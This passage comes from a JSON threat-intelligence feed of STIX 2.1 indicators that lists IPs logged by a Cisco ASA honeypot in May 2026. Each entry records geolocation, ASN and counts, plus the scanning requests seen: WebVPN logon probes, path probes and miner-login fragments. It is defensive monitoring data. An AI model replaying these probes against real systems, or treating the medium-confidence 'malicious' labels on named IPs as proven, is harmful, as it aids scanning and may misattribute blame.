      "pattern": "[ipv4-addr:value = '65.49.1.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-02T08:03:19.108Z",
          "last_seen": "2026-05-02T08:03:19.108Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--20fa9b81-d28e-4865-a0af-a746004c88f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T08:03:05.495Z",
          "last_seen": "2026-05-02T08:03:31.968Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2a0bd4c1-7249-45bb-956f-6449a60bacbe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T08:01:09.088Z",
          "last_seen": "2026-05-02T08:03:26.023Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 16276 (OVH SAS)",
      "id": "indicator--0fbd08d4-1768-45af-8660-fd27fe06e80b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.87.206.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T07:50:40.505Z",
          "last_seen": "2026-05-02T07:50:43.508Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 16276,
          "as_org": "OVH SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T09:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--88184ad1-7175-4161-9530-d592a1c073fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:20:06.000Z",
      "valid_until": "2026-06-03T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-02T08:30:52.095Z",
          "last_seen": "2026-05-25T09:16:58.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T09:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--bd057e86-fc5f-4cd7-94c8-52f56b08efcf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.189.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:20:06.000Z",
      "valid_until": "2026-06-03T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 22,
          "first_seen": "2026-05-02T09:09:33.466Z",
          "last_seen": "2026-05-05T10:53:53.938Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "code 400",
            "\"\"id\":1",
            "\"\"params\": [\"miner1\"",
            "\"\"method\":\"login\""
          ]
        }
      }
    },
    {
      "created": "2026-05-02T09:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--3a3837f4-af1b-4681-90a5-43e7f8288a3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:20:06.000Z",
      "valid_until": "2026-06-03T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-02T08:45:41.584Z",
          "last_seen": "2026-05-29T16:33:26.090Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T09:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--81d03e49-57bf-403a-a4ef-dae70a54ee04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:20:06.000Z",
      "valid_until": "2026-06-03T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T08:32:04.837Z",
          "last_seen": "2026-05-05T16:00:01.039Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T09:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--63d4be58-a479-4e0c-85a6-2b6a4bab3243",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:20:06.000Z",
      "valid_until": "2026-06-03T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T08:44:03.625Z",
          "last_seen": "2026-05-07T11:08:57.204Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T09:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0ca4fd12-f6ba-4e5d-97f5-378f9cc18896",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:20:06.000Z",
      "valid_until": "2026-06-03T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 54,
          "first_seen": "2026-05-02T08:48:26.439Z",
          "last_seen": "2026-05-30T12:44:54.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f1db79f5-4e8e-487c-a985-bc115f795bcb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.221.239.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-03T01:01:27.322Z",
          "last_seen": "2026-05-14T00:56:27.562Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: DE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5b31e987-b2fe-4d5c-88a7-1700236868c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.247.113.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T01:11:58.879Z",
          "last_seen": "2026-05-03T01:11:59.604Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--99ac8561-4ae1-4f82-a22c-4bc7106e3487",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-03T01:08:03.158Z",
          "last_seen": "2026-05-10T06:02:03.408Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--caf89131-bfce-4bf3-a550-e6f5f356cee8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-03T00:54:42.639Z",
          "last_seen": "2026-05-06T00:01:31.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a51c3fdf-d33f-4d4a-80b4-37bfd48fba8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T00:51:54.010Z",
          "last_seen": "2026-05-23T19:25:28.889Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ab642918-bea5-4895-afba-89722b074153",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T01:04:16.873Z",
          "last_seen": "2026-05-22T10:25:51.002Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cf405e76-891c-4808-8841-e34e91b1faeb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.208.162.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T00:56:35.339Z",
          "last_seen": "2026-05-03T00:56:35.339Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e413d5a5-dd27-44a3-9549-ea482639a4e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.159.150.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:20:10.000Z",
      "valid_until": "2026-06-04T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T00:56:32.141Z",
          "last_seen": "2026-05-03T00:56:35.144Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--a7415416-b192-4122-91a3-cea431808125",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.16.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:20:10.000Z",
      "valid_until": "2026-06-04T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T02:03:32.359Z",
          "last_seen": "2026-05-03T02:03:35.363Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4e4731c0-6dad-459f-ada7-450b24a27d64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:20:10.000Z",
      "valid_until": "2026-06-04T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T02:04:36.843Z",
          "last_seen": "2026-05-29T23:09:32.194Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1e4bb09f-4c53-4b2c-a883-a84a0b4c28a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:20:10.000Z",
      "valid_until": "2026-06-04T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T01:48:32.049Z",
          "last_seen": "2026-05-30T02:18:34.417Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ce15a7c5-9d66-4821-aa71-b7c0122db87c",
